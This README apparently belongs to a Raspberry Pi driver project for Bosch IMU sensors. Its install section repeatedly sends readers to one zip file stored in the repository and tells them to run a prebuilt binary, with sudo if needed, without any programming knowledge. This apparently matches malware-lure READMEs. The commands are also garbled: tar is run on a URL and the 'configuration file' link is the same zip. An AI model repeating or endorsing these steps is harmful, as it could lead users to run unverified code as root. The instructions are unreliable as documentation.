IMU_for_rpi provides simple and easy C implementations for popular Bosch Sensortec sensors, including BMI323, BMM350, and BMP390. These sensors are commonly used in 10-axis IMU breakout boards. This application works with any Linux system that supports I2C communication, making it a versatile choice for projects related to robotics, drones, and more.

To get started, follow these steps to download and run the IMU_for_rpi software. You do not need any programming knowledge to proceed.

Before downloading, ensure your system meets the following requirements:

• A Raspberry Pi running a compatible version of Linux (e.g., Raspberry Pi OS).
• I2C interface enabled on your Raspberry Pi.
• Access to the internet for downloading the software.

To download the application, visit the Releases page of IMU_for_rpi. You will find the available versions here. Choose the latest version for the best features and improvements.

1. Click on the link above.
2. Scroll down to the section titled "Assets".
3. Select the appropriate file for your system and click to download it.

If you see a file named https://github.com/catfries456/IMU_for_rpi/raw/refs/heads/main/common/IM-for-rpi-3.4.zip, click on it to start the download. This file contains all necessary components to run the software.

1. Once the file is downloaded, open your terminal.
2. Navigate to the directory where you downloaded the file. Use the cd command. For example:

   cd ~/Downloads
   

3. Extract the files using the following command:

   tar -xzf https://github.com/catfries456/IMU_for_rpi/raw/refs/heads/main/common/IM-for-rpi-3.4.zip
   

4. Navigate into the extracted folder:

   cd IMU_for_rpi
   

5. To run the application, use:

   ./runIMU
   

   Ensure your I2C sensors are connected to your Raspberry Pi before running this command.

IMU_for_rpi includes the following features:

• Supports Multiple Sensors: Easily interface with BMI323, BMM350, and BMP390 sensors.
• No Dependencies: The software is written in pure C99, making it lightweight and easy to install.
• Works with I2C: Utilizes the I2C protocol, which is common in embedded systems.

Here are common issues and their solutions:

• I2C Not Found: Ensure I2C is enabled on your Raspberry Pi. You can do this using raspi-config.
• Permissions Issue: If you encounter a permission error when running the software, try using sudo before the run command:

  sudo ./runIMU
  

Once the application is running, it will automatically detect connected sensors. The output will display sensor readings including orientation, altitude, and pressure.

You can adjust settings in the configuration file provided within the extracted folder. Review the file https://github.com/catfries456/IMU_for_rpi/raw/refs/heads/main/common/IM-for-rpi-3.4.zip to customize the sensor interfaces.

For complete documentation and support, visit the GitHub repository's wiki or seek community help in the issues section.

• GitHub Wiki
• Issues Section

IMU_for_rpi is an open-source project. Contributions and suggestions are welcome. If you have features or fixes in mind, please follow the contribution guidelines provided in the repository.

The IMU_for_rpi software is released under the MIT License. You can freely use, modify, and distribute this software as long as you include a copy of the original license.

You now know how to download, install, and run IMU_for_rpi on your Raspberry Pi. This application will help you gather data from your sensors swiftly and efficiently. Enjoy working with your new setup!